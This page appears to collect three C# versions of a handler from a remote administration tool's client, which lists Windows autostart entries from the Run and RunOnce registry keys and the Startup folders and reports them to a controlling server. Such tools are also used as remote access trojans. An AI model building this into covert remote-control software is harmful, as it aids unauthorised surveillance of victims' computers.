Esempio n. 1
0
        public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client)
        {
            try
            {
                List <string> startupItems = new List <string>();

                using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
                {
                    if (key != null)
                    {
                        startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "0" + formattedKeyValue));
                    }
                }
                using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
                {
                    if (key != null)
                    {
                        startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "1" + formattedKeyValue));
                    }
                }
                using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
                {
                    if (key != null)
                    {
                        startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "2" + formattedKeyValue));
                    }
                }
                using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
                {
                    if (key != null)
                    {
                        startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "3" + formattedKeyValue));
                    }
                }
                if (PlatformHelper.Architecture == 64)
                {
                    using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
                    {
                        if (key != null)
                        {
                            startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "4" + formattedKeyValue));
                        }
                    }
                    using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
                    {
                        if (key != null)
                        {
                            startupItems.AddRange(key.GetFormattedKeyValues().Select(formattedKeyValue => "5" + formattedKeyValue));
                        }
                    }
                }
                if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                {
                    var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();

                    startupItems.AddRange(from file in files where file.Name != "desktop.ini"
                                          select string.Format("{0}||{1}", file.Name, file.FullName) into formattedKeyValue
                                          select "6" + formattedKeyValue);
                }

                new Packets.ClientPackets.GetStartupItemsResponse(startupItems).Execute(client);
            }
            catch (Exception ex)
            {
                new Packets.ClientPackets.SetStatus(string.Format("Getting Autostart Items failed: {0}", ex.Message)).Execute(client);
            }
        }
Esempio n. 2
0
        public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client)
        {
            try
            {
                Dictionary <string, int> startupItems = new Dictionary <string, int>();

                using (
                    var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                                                               false))
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            if (string.IsNullOrEmpty(k) || key.GetValue(k) == null)
                            {
                                continue;
                            }
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0);
                        }
                    }
                }
                using (
                    var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
                                                               false))
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            if (string.IsNullOrEmpty(k) || key.GetValue(k) == null)
                            {
                                continue;
                            }
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1);
                        }
                    }
                }
                using (
                    var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false)
                    )
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            if (string.IsNullOrEmpty(k) || key.GetValue(k) == null)
                            {
                                continue;
                            }
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2);
                        }
                    }
                }
                using (
                    var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
                                                              false))
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            if (string.IsNullOrEmpty(k) || key.GetValue(k) == null)
                            {
                                continue;
                            }
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3);
                        }
                    }
                }
                if (OSInfo.Bits == 64)
                {
                    using (
                        var key =
                            Registry.LocalMachine.OpenSubKey(
                                "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
                                false))
                    {
                        if (key != null)
                        {
                            foreach (var k in key.GetValueNames())
                            {
                                if (string.IsNullOrEmpty(k) || key.GetValue(k) == null)
                                {
                                    continue;
                                }
                                startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 4);
                            }
                        }
                    }
                    using (
                        var key =
                            Registry.LocalMachine.OpenSubKey(
                                "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
                                false))
                    {
                        if (key != null)
                        {
                            foreach (var k in key.GetValueNames())
                            {
                                if (string.IsNullOrEmpty(k) || key.GetValue(k) == null)
                                {
                                    continue;
                                }
                                startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 5);
                            }
                        }
                    }
                }
                if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
                {
                    var files =
                        new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
                    foreach (var file in files)
                    {
                        if (file.Name != "desktop.ini")
                        {
                            startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 6);
                        }
                    }
                }

                new Packets.ClientPackets.GetStartupItemsResponse(startupItems).Execute(client);
            }
            catch
            {
                new Packets.ClientPackets.Status("Startup Information failed!").Execute(client);
            }
        }
Esempio n. 3
0
        public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems command, Client client)
        {
            try
            {
                Dictionary <string, int> startupItems = new Dictionary <string, int>();

                using (var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false))
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0);
                        }
                    }
                }
                using (var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false))
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1);
                        }
                    }
                }
                using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false))
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2);
                        }
                    }
                }
                using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", false))
                {
                    if (key != null)
                    {
                        foreach (var k in key.GetValueNames())
                        {
                            startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3);
                        }
                    }
                }
                if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")))
                {
                    var files = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")).GetFiles();
                    foreach (var file in files)
                    {
                        startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 4);
                    }
                }
                if (Directory.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")))
                {
                    var files = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup")).GetFiles();
                    foreach (var file in files)
                    {
                        startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 5);
                    }
                }

                new Packets.ClientPackets.GetStartupItemsResponse(startupItems).Execute(client);
            }
            catch
            {
                new Packets.ClientPackets.Status("Startup Information failed!").Execute(client);
            }
        }